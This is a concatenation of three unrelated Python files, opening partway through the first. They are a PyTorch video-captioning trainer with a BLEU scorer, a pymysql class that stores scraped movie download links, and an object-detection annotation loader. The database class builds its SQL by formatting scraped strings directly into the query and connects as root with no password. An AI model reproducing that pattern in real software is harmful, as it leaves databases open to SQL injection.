                loss = self.train(batch_x, batch_y, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, words, teacher_forcing_ratio=teacher_forcing_ratio[epoch])
                # loss
                loss_total+=loss
                # bleu
                words= torch.cat(words,1)
                bleu.extend(self.bleu_batch(words,name,video[0]))

                if batch_index% print_every == 0:
                    print_loss_avg = (loss_total - print_loss_total )/ print_every
                    print_loss_total = loss_total
                    print('\rTrain Epoch: {} | [{}/{} ({:.0f}%)] |  Loss: {:.6f} | Time: {}  '.format(
                                epoch+1 , batch_index*len(batch_x), data_size,
                                100. * batch_index*len(batch_x)/ data_size, print_loss_avg,
                                self.timeSince(start, batch_index*len(batch_x)/ data_size)),end='')
            bleu_average = sum(bleu) / len(bleu)
            print('\nTime: {} | Total loss: {:.4f} | Bleu Score: {:.5f}'.format(self.timeSince(start,1),loss_total/batch_index,bleu_average))
            print('-'*80)
            if (epoch+1)%10==0: self.evaluate(encoder,decoder,name, n=3)
            record = self.evaluate(encoder,decoder,test_name, write_file=write_file,record= record, n=5)
            loss_bleu_list.append([loss_total/ batch_index, bleu_average])
            if plot_file != None: self.plot(loss_bleu_list, plot_file)
    def evaluate(self,encoder, decoder, name, write_file=None, record=0, n=5):
        encoder.eval()
        decoder.eval()

        start = time.time()
        loss=0
        loss_n=0
        decoded_words = []
        videos = [[],[]]
        criterion = nn.CrossEntropyLoss(size_average=False)

        print_image=[random.choice(list(self.data[name][0].dataset.feats.keys())) for i in  range(n)]

        data_size = len(self.data[name][0].dataset)
        for step, (batch_x, batch_y,video) in enumerate(self.data[name][0]):
            batch_index=step+1
            batch_x=Variable(batch_x).cuda()
            batch_y=Variable(batch_y).cuda()

            encoder_outputs, encoder_hidden = encoder(batch_x)

            decoder_hidden= encoder_hidden
            decoder_input=torch.index_select(batch_y, 1, Variable(torch.LongTensor([0])).cuda())

            words=[]
            bleu=[]

            for di in range(1,self.max_length):
                decoder_output, decoder_hidden = decoder(
                    decoder_input, decoder_hidden, encoder_outputs)
                ni = decoder_output.data.max(1,keepdim=True)[1]
                decoder_input = Variable(ni)
                words.append(ni)

                target=torch.index_select(batch_y, 1, Variable(torch.LongTensor([di])).cuda()).view(-1)
                l, n = self.loss(criterion,decoder_output, target)
                loss += float(l)
                loss_n += n

            words= torch.cat(words,1)
            bleu.extend(self.bleu_batch(words, name, video[0]))

            decoded_words.extend(words.unsqueeze(1))
            videos[0].extend(video[0])
            videos[1].extend(video[1])

            loss /= loss_n

            print('\r{} | [{}/{} ({:.0f}%)] |  Loss: {:.6f} | Time: {}  '.format(
                        name.upper(),
                        batch_index*len(batch_x), data_size,
                        100. * batch_index*len(batch_x)/ data_size, loss,
                        self.timeSince(start, batch_index*len(batch_x)/ data_size)),end='')

        bleu_average = sum(bleu) / len(bleu)
        decoded_words=torch.cat(decoded_words,0)
        print('\nTime: {} | Bleu Score: {:.5f}'.format(self.timeSince(start,1),bleu_average))
        # output decoded and ground sequence
        for i in print_image:
            seq_id=videos[0].index(i)
            seq_list=[]
            for j in decoded_words[seq_id]:
                index=int(j)
                if index ==self.voc.word2index('EOS'): break
                seq_list.append(self.voc.index2word[index])
            d_seq=' '.join(seq_list)
            g_seq=self.data[name][1][i][videos[1][seq_id]]
            print('id: {:<25} | decoded_sequence: {}'.format(i,d_seq))
            print('    {:<25} | ground_sequence: {}'.format(' '*len(i),g_seq))
        # writing output file
        if write_file!=None and bleu_average > record:
            self.write(write_file,decoded_words,name,videos[0])
            torch.save(encoder,'encoder.pt')
            torch.save(decoder,'decoder.pt')
        print('-'*80)
        return max(bleu_average, record)
    def predict(self,encoder, decoder, name, write_file=None):
        encoder.eval()
        decoder.eval()

        start = time.time()
        decoded_words = []
        videos = [[],[]]

        data_size = len(self.data[name].dataset)
        for step, (batch_x,video) in enumerate(self.data[name]):
            batch_index=step+1
            batch_x=Variable(batch_x).cuda()

            encoder_outputs, encoder_hidden = encoder(batch_x)

            decoder_hidden= encoder_hidden
            decoder_input = Variable(torch.LongTensor([self.voc.word2index('SOS') for i in range(len(batch_x))]).cuda())

            words=[]

            for di in range(1,self.max_length):
                decoder_output, decoder_hidden = decoder(
                    decoder_input, decoder_hidden, encoder_outputs)
                ni = decoder_output.data.max(1,keepdim=True)[1]
                decoder_input = Variable(ni)
                words.append(ni)

            words= torch.cat(words,1)
            decoded_words.extend(words.unsqueeze(1))
            videos[0].extend(video[0])
            videos[1].extend(video[1])

            print('\r{} | [{}/{} ({:.0f}%)] | Time: {}  '.format(
                        name.upper(),
                        batch_index*len(batch_x), data_size,
                        100. * batch_index*len(batch_x)/ data_size,
                        self.timeSince(start, batch_index*len(batch_x)/ data_size)),end='')

        decoded_words=torch.cat(decoded_words,0)
        print('\nTime: {}  '.format(self.timeSince(start,1)))
        # writing output file
        if write_file!=None:
            self.write(write_file,decoded_words,name,videos[0])
        print('-'*80)
    def loss(self,criterion,output,target):
        check_t=(target!=self.voc.word2index("PAD"))
        t=torch.masked_select(target,check_t).view(-1)
        check_o=check_t.view(-1,1)
        o=torch.masked_select(output,check_o).view(-1,self.vocab_size)
        if len(t)==0: return 0,0
        else : return criterion(o,t),len(t)
    def timeSince(self,since, percent):
        now = time.time()
        s = now - since
        es = s / (percent)
        rs = es - s
        return '%s (- %s)' % (self.asMinutes(s), self.asMinutes(rs))
    def asMinutes(self,s):
        m = math.floor(s / 60)
        s -= m * 60
        return '%dm %ds' % (m, s)
    def write(self,path,decoded_words,name,video):
        with open(path,'w') as f:
            for i in range(len(video)):
                seq_list=[]
                for j in decoded_words[i]:
                    index=int(j)
                    if index ==self.voc.word2index('EOS'): break
                    seq_list.append(self.voc.index2word[index])
                d_seq=' '.join(seq_list)
                f.write('{},{}\n'.format(video[i],d_seq))
    def bleu_batch(self, words, name, video):
        bleu=[]
        for i in range(len(video)):
            seq_list=[]
            for j in words[i]:
                index=int(j)
                if index ==self.voc.word2index('EOS'): break
                seq_list.append(self.voc.index2word[index])
            seq_list=' '.join(seq_list)
            target_list=self.data[name][1][video[i]]
            if (len(seq_list)!=0):
                bleu.append(self.BLEU(seq_list,target_list,True))
        return bleu
    def BLEU(self,s,t,flag = False):
        score = 0.
        candidate = [s.strip()]
        if flag:
            references = [[t[i].strip()] for i in range(len(t))]
        else:
            references = [[t.strip()]]
        precisions = []
        pr, bp = self.count_ngram(candidate, references, 1)
        precisions.append(pr)
        score = self.geometric_mean(precisions) * bp
        return score
    def geometric_mean(self,precisions):
        return (reduce(operator.mul, precisions)) ** (1.0 / len(precisions))
    def brevity_penalty(self,c, r):
        if c > r:
            bp = 1
        else:
            bp = math.exp(1-(float(r)/c))
        return bp
    def best_length_match(self,ref_l, cand_l):
        """Find the closest length of reference to that of candidate"""
        least_diff = abs(cand_l-ref_l[0])
        best = ref_l[0]
        for ref in ref_l:
            if abs(cand_l-ref) < least_diff:
                least_diff = abs(cand_l-ref)
                best = ref
        return best
    def count_ngram(self,candidate, references, n):
        clipped_count = 0
        count = 0
        r = 0
        c = 0
        for si in range(len(candidate)):
            # Calculate precision for each sentence
            ref_counts = []
            ref_lengths = []
            # Build dictionary of ngram counts
            for reference in references:
                ref_sentence = reference[si]
                ngram_d = {}
                words = ref_sentence.strip().split()
                ref_lengths.append(len(words))
                limits = len(words) - n + 1
                # loop through the sentance consider the ngram length
                for i in range(limits):
                    ngram = ' '.join(words[i:i+n]).lower()
                    if ngram in ngram_d.keys():
                        ngram_d[ngram] += 1
                    else:
                        ngram_d[ngram] = 1
                ref_counts.append(ngram_d)
            # candidate
            cand_sentence = candidate[si]
            cand_dict = {}
            words = cand_sentence.strip().split()
            limits = len(words) - n + 1
            for i in range(0, limits):
                ngram = ' '.join(words[i:i + n]).lower()
                if ngram in cand_dict:
                    cand_dict[ngram] += 1
                else:
                    cand_dict[ngram] = 1
            clipped_count += self.clip_count(cand_dict, ref_counts)
            count += limits
            r += self.best_length_match(ref_lengths, len(words))
            c += len(words)
        if clipped_count == 0:
            pr = 0
        else:
            pr = float(clipped_count) / count
        bp = self.brevity_penalty(c, r)
        return pr, bp
    def clip_count(self,cand_d, ref_ds):
        """Count the clip count for each ngram considering all references"""
        count = 0
        for m in cand_d.keys():
            m_w = cand_d[m]
            m_max = 0
            for ref in ref_ds:
                if m in ref:
                    m_max = max(m_max, ref[m])
            m_w = min(m_w, m_max)
            count += m_w
        return count
    def count_parameters(self,model):
        return sum(p.numel() for p in model.parameters() if p.requires_grad)
    def plot(self, record, path):
        x=np.array(list(range(1,len(record)+1)),dtype=np.uint8)
        y=np.array(record)
        plt.figure()
        plt.plot(x,y[:,0],'b',label='loss')
        plt.plot(x,y[:,1],'g',label='bleu')
        plt.legend()
        plt.savefig(path)
        #plt.close()
class Vocabulary:
    def __init__(self, vocabulary_file,min_count):
        if vocabulary_file == None:
            self.w2i= {"SOS":0, "EOS":1, "PAD":2, "UNK":3}
            self.word2count = {}
            self.index2word = {0: "SOS", 1: "EOS", 2: "PAD", 3:"UNK"}
            self.n_words = 4  # Count SOS and EOS and PAD and UNK
            self.min_count=min_count
        else:
            self.load(vocabulary_file)
    def word2index(self,word):
        word=word.lower()
        if word in self.w2i: return self.w2i[word]
        else: return self.w2i["UNK"]
    def addSentence(self, sentences):
        max_sen=0
        for sentence in sentences:
            sentence_list=sentence.split(' ')
            for word in sentence_list:
                self.addWord(word)
            if len(sentence_list)>max_sen: max_sen=len(sentence_list)
        return max_sen
    def addWord(self, word):
        word=word.lower()
        if word in self.word2count: self.word2count[word]+=1
        else: self.word2count[word] = 1
        if self.word2count[word] == self.min_count:
            self.w2i[word] = self.n_words
            self.index2word[self.n_words] = word
            self.n_words += 1
    def save(self, path):
        index_list= sorted( self.w2i , key= self.w2i.get)
        with open( path, 'w') as f:
            f.write('\n'.join(index_list))
    def load(self, path):
        self.w2i= {}
        self.word2count= {}
        self.index2word= {}
        with open(path,'r') as f:
            i=0
            for line in f:
                word=line.replace('\n','')
                self.w2i[word] = i
                self.word2count[word]=0
                self.index2word[i] = word
                i+=1
            self.n_words=len(self.w2i)
class EncoderRNN(nn.Module):
    def __init__(self,input_size, hidden_size, layer_n, dropout=0.3):
        super(EncoderRNN, self).__init__()
        self.hidden_size = hidden_size
        self.hidden = self.initHidden(layer_n)
        self.rnn = nn.GRU(input_size, hidden_size, num_layers= layer_n, batch_first=True, dropout=dropout)
    def forward(self, x):
        hidden = torch.cat([self.hidden for i in range(len(x))],1)
        output, hidden = self.rnn(x, hidden)
        output = output / torch.matmul(torch.norm(output,2,dim=2).unsqueeze(2),Variable(torch.ones(1,self.hidden_size)).cuda())
        return output,  hidden
    def initHidden(self,layer_n):
        return Variable(torch.zeros(layer_n,1, self.hidden_size),requires_grad=True).cuda()
class AttnDecoderRNN(nn.Module):
    def __init__(self, hidden_size, vocab_size, layer_n, hop_n, dropout):
        super(AttnDecoderRNN, self).__init__()
        self.hidden_size = hidden_size
        self.vocab_size = vocab_size
        self.hop_n= hop_n
        self.hidden= self.initHidden(layer_n)

        self.embedding = nn.Embedding(self.vocab_size, self.hidden_size)
        self.attn = nn.Sequential( nn.Linear(self.hidden_size * (layer_n+1), self.hidden_size),
                    nn.SELU(),
                    nn.Dropout(dropout))
        self.attn_weight = nn.Softmax(1)
        self.attn_combine = nn.Sequential( nn.Linear(self.hidden_size * 2, self.hidden_size))
        self.rnn= nn.GRU(self.hidden_size, self.hidden_size,num_layers= layer_n,batch_first=True, dropout=dropout)
        self.out = nn.Sequential( nn.Linear(self.hidden_size, self.vocab_size),
                    nn.SELU(),
                    nn.Dropout(dropout))
    def forward(self, x, hidden, encoder_outputs):
        # x size: batch * 1
        # encoder outputs size: batch * 80 * hidden
        # hidden size: 1 * batch * hidden
        embedded = self.embedding(x).squeeze(1)         # batch *  hidden

        h=torch.transpose(hidden,0,1).contiguous().view(hidden.size()[1],-1)
        z = self.attn(torch.cat((embedded, h), 1)) # batch * hidden
        # hopping
        for n in range(self.hop_n):
            weight = self.attn_weight(torch.bmm(encoder_outputs,z.unsqueeze(2)).squeeze(2)) # batch * 80
            z = torch.bmm(weight.unsqueeze(1),encoder_outputs).squeeze(1) # batch * hidden

        output = self.attn_combine(torch.cat((embedded, z), 1)).unsqueeze(1)

        output, hidden=self.rnn(output, hidden)
        output = self.out(output.squeeze(1))
        return output, hidden
    def hidden_layer(self,n):
        return  torch.cat([self.hidden for i in range(n)],1)
    def initHidden(self,layer_n):
        return Variable(torch.zeros(layer_n,1, self.hidden_size),requires_grad=True).cuda()
class VideoDataset(Dataset):
    def __init__(self, feats, captions=None):
        self.feats=feats
        self.captions=captions
        index=[]
        if captions != None:
            for i in captions:
                index.extend([(i,j) for j in range(len(captions[i]))])
        else :
            index.extend([(i,0) for i in feats])
        self.index=index
        #print(len(index))
    def __getitem__(self, i):
        x=self.feats[self.index[i][0]]
        #x+=torch.normal(torch.zeros_like(x),0.1)
        if self.captions != None:
            y=self.captions[self.index[i][0]][self.index[i][1]]
            return x,y,self.index[i]
        else :
            return x,self.index[i]
    def __len__(self):
        return len(self.index)


import pymysql
import time

class HtmlOutputer(object):
    def __init__(self):
        self.datas = []
        self.conn = pymysql.connect(
            host= 'localhost',
            port= 3306,
            user= 'root',
            passwd= '',
            db= 'movie',
            use_unicode=True,
            charset="utf8",
        )

        self.cur = self.conn.cursor()
        self.cur.execute('SET NAMES utf8;')
        self.cur.execute('SET CHARACTER SET utf8;')
        self.cur.execute('SET character_set_connection=utf8;')

    def output_html(self, data):
        insert_sql = "insert into movies(movie_title,movie_download_url,movie_come_from_url,fetch_time) values('%s','%s','%s','%s')" % (data['title'], data['href'], data['url'], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))
        self.cur.execute(insert_sql)

    def collect_data(self, new_data):
        if new_data is None:
            return
        self.datas.append(new_data)


from DataLoader.Utils import *
import json
import cv2
import numpy as np
from DataLoader.Helper.Helper_Global2Local import Global2Local
from DataLoader.Helper.Helper_TargetPacker import *
import pandas as pd

class DataLoader0_ReadAnns():
    def __init__(self):
        self.data = None
        self.conv_g2l = Global2Local()
        self.packer = TargetPacker4D()
        with open(getTrainAnnPath()) as json_file:
            self.data = json.load(json_file)
        self.N = len(self.data)

    def getImgAt(self, i):
        imgId = self.getImgIdAt(i)
        imgPath = getImgPath(imgId)
        img = cv2.imread(imgPath) / 255.0
        return img

    def getResizedInfoAt(self, i):
        img = self.getImgAt(i)
        bboxes =self. getBBoxesAt(i)
        objNames = self.getObjNamesAt(i)
        objIds = self.getObjIdsAt(i)
        img, bboxes = self.conv_g2l.resize(img, bboxes)
        return img, bboxes, objNames, objIds

    def getTargetAt(self, i):
        img = self.getImgAt(i)
        bboxes = self.getBBoxesAt(i)
        objIds = self.getObjIdsAt(i)
        img, res_bb = self.conv_g2l.resize(img, bboxes)
        counter, label = self.packer.packBBoxAndObj(res_bb, objIds)
        return img, objIds, self.packer.isMoreThanOneObjPerGrid(counter), counter, label

    def printAnnsAt(self, i):
        print(self.getImgIdAt(i))
        print(self.getObjIdsAt(i))
        print(self.getObjNamesAt(i))
        print(self.getBBoxesAt(i))

    def getImgIdAt(self, i):
        return self.data[i]['imgId']

    def getObjIdsAt(self, i):
        return np.array(self.data[i]['objId'], dtype=int)

    def getBBoxesAt(self, i):
        return np.array(self.data[i]['bboxes'], dtype=int)

    def getObjNamesAt(self, i):
        return self.data[i]['objName']